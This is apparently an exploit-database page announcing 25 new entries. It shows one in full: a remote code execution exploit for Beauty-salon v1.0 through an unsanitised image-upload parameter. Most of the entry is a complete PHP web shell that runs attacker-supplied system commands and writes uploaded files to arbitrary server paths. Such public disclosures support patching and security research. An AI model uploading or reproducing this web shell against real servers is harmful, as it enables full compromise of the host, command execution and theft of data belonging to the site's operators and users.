6bc7a6f9b0
25 changes to exploits/shellcodes/ghdb ReQlogic v11.3 - Reflected Cross-Site Scripting (XSS) Tapo C310 RTSP server v1.3.0 - Unauthorised Video Stream Access ZKTeco ZEM/ZMM 8.88 - Missing Authentication Hashicorp Consul v1.0 - Remote Command Execution (RCE) X-Skipper-Proxy v0.13.237 - Server Side Request Forgery (SSRF) OPSWAT Metadefender Core - Privilege Escalation Pega Platform 8.1.0 - Remote Code Execution (RCE) Beauty-salon v1.0 - Remote Code Execution (RCE) BoxBilling<=4.22.1.5 - Remote Code Execution (RCE) iBooking v1.0.8 - Arbitrary File Upload Jetpack 11.4 - Cross Site Scripting (XSS) Moodle LMS 4.0 - Cross-Site Scripting (XSS) Online shopping system advanced 1.0 - Multiple Vulnerabilities rukovoditel 3.2.1 - Cross-Site Scripting (XSS) Senayan Library Management System v9.5.0 - SQL Injection Social-Share-Buttons v2.2.3 - SQL Injection Subrion CMS 4.2.1 - Stored Cross-Site Scripting (XSS) YouPHPTube<= 7.8 - Multiple Vulnerabilities Label Studio 1.5.0 - Authenticated Server Side Request Forgery (SSRF) SuperMailer v11.20 - Buffer overflow DoS Tunnel Interface Driver - Denial of Service VMware Workstation 15 Pro - Denial of Service HDD Health 4.2.0.112 - 'HDDHealth' Unquoted Service Path SugarSync 4.1.3 - 'SugarSync Service' Unquoted Service Path
136 lines
No EOL
4 KiB
Text
136 lines
No EOL
4 KiB
Text
## Exploit Title: Beauty-salon v1.0 - Remote Code Execution (RCE)
|
|
## Exploit Author: nu11secur1ty
|
|
## Date: 10.12.2022
|
|
## Vendor: https://code4berry.com/projects/beautysalon.php
|
|
## Software: https://code4berry.com/project%20downloads/beautysalon_download.php
|
|
## Reference: https://github.com/nu11secur1ty/NVE/blob/NVE-master/2022/NVE-2022-1012.txt
|
|
|
|
## Description:
|
|
The parameter `userimage` from Beauty-salon-2022 suffers from Web
|
|
Shell-File Upload - RCE.
|
|
NOTE: The user permissions of this system are not working correctly, and
|
|
the function is not sanitizing well.
|
|
The attacker can use an already created account from someone who controls
|
|
this system and he can upload a very malicious file by using this
|
|
vulnerability,
|
|
or more precisely (no sanitizing of function for edit image), for whatever
|
|
account, then he can execute it from anywhere on the external network.
|
|
|
|
Status: HIGH Vulnerability
|
|
|
|
[+] Exploit:
|
|
|
|
```php
|
|
<!-- Project Name : PHP Web Shell -->
|
|
<!-- Version : 4.0 nu11secur1ty -->
|
|
<!-- First development date : 2022/10/05 -->
|
|
<!-- This Version development date : 2022/10/05 -->
|
|
<!-- Moded and working with PHP 8 : 2022/10/05 -->
|
|
<!-- language : html, css, javascript, php -->
|
|
<!-- Developer : nu11secur1ty -->
|
|
<!-- Web site : https://www.nu11secur1ty.com/ -->
|
|
|
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "
|
|
http://www.w3.org/TR/html4/strict.dtd">
|
|
<html>
|
|
<head>
|
|
<meta http-equiv="Content-Type" content="text/html" charset="euc-kr">
|
|
<title>PHP Web Shell Ver 4.0 by nu11secur1ty</title>
|
|
<script type="text/javascript">
|
|
function FocusIn(obj)
|
|
{
|
|
if(obj.value == obj.defaultValue)
|
|
obj.value = '';
|
|
}
|
|
|
|
function FocusOut(obj)
|
|
{
|
|
if(obj.value == '')
|
|
obj.value = obj.defaultValue;
|
|
}
|
|
</script>
|
|
</head>
|
|
<body>
|
|
<b>WebShell's Location = http://<?php echo $_SERVER['HTTP_HOST']; echo
|
|
$_SERVER['REQUEST_URI'] ?></b><br><br>
|
|
|
|
HTTP_HOST = <?php echo $_SERVER['HTTP_HOST'] ?><br>
|
|
REQUEST_URI = <?php echo $_SERVER['REQUEST_URI'] ?><br>
|
|
|
|
<br>
|
|
|
|
<form name="cmd_exec" method="post" action="http://<?php echo
|
|
$_SERVER['HTTP_HOST']; echo $_SERVER['REQUEST_URI'] ?>">
|
|
<input type="text" name="cmd" size="70" maxlength="500" value="Input
|
|
command to execute" onfocus="FocusIn(document.cmd_exec.cmd)"
|
|
onblur="FocusOut(document.cmd_exec.cmd)">
|
|
<input type="submit" name="exec" value="exec">
|
|
</form>
|
|
<?php
|
|
if(isset($_POST['exec']))
|
|
{
|
|
exec($_POST['cmd'],$result);
|
|
|
|
echo '----------------- < OutPut > -----------------';
|
|
echo '<pre>';
|
|
foreach($result as $print)
|
|
{
|
|
$print = str_replace('<','<',$print);
|
|
echo $print . '<br>';
|
|
}
|
|
echo '</pre>';
|
|
}
|
|
else echo '<br>';
|
|
?>
|
|
|
|
<form enctype="multipart/form-data" name="file_upload" method="post"
|
|
action="http://<?php echo $_SERVER['HTTP_HOST']; echo
|
|
$_SERVER['REQUEST_URI'] ?>">
|
|
<input type="file" name="file">
|
|
<input type="submit" name="upload" value="upload"><br>
|
|
<input type="text" name="target" size="100" value="Location where file will
|
|
be uploaded (include file name!)"
|
|
onfocus="FocusIn(document.file_upload.target)"
|
|
onblur="FocusOut(document.file_upload.target)">
|
|
</form>
|
|
<?php
|
|
if(isset($_POST['upload']))
|
|
{
|
|
$check = move_uploaded_file($_FILES['file']['tmp_name'], $_POST['target']);
|
|
|
|
if($check == TRUE)
|
|
echo '<pre>The file was uploaded successfully!!</pre>';
|
|
else
|
|
echo '<pre>File Upload was failed...</pre>';
|
|
}
|
|
?>
|
|
</body>
|
|
</html>
|
|
```
|
|
|
|
|
|
# Proof and Exploit:
|
|
[href](https://streamable.com/ewdmoh)
|
|
|
|
# m0e3:
|
|
[href](
|
|
https://www.nu11secur1ty.com/2022/10/beauty-salon-2022-web-shell-file-upload.html
|
|
)
|
|
|
|
|
|
System Administrator - Infrastructure Engineer
|
|
Penetration Testing Engineer
|
|
Exploit developer at https://packetstormsecurity.com/
|
|
https://cve.mitre.org/index.html and https://www.exploit-db.com/
|
|
home page: https://www.nu11secur1ty.com/
|
|
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
|
|
nu11secur1ty <http://nu11secur1ty.com/>
|
|
|
|
--
|
|
System Administrator - Infrastructure Engineer
|
|
Penetration Testing Engineer
|
|
Exploit developer at https://packetstormsecurity.com/
|
|
https://cve.mitre.org/index.html and https://www.exploit-db.com/
|
|
home page: https://www.nu11secur1ty.com/
|
|
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
|
|
nu11secur1ty <http://nu11secur1ty.com/> |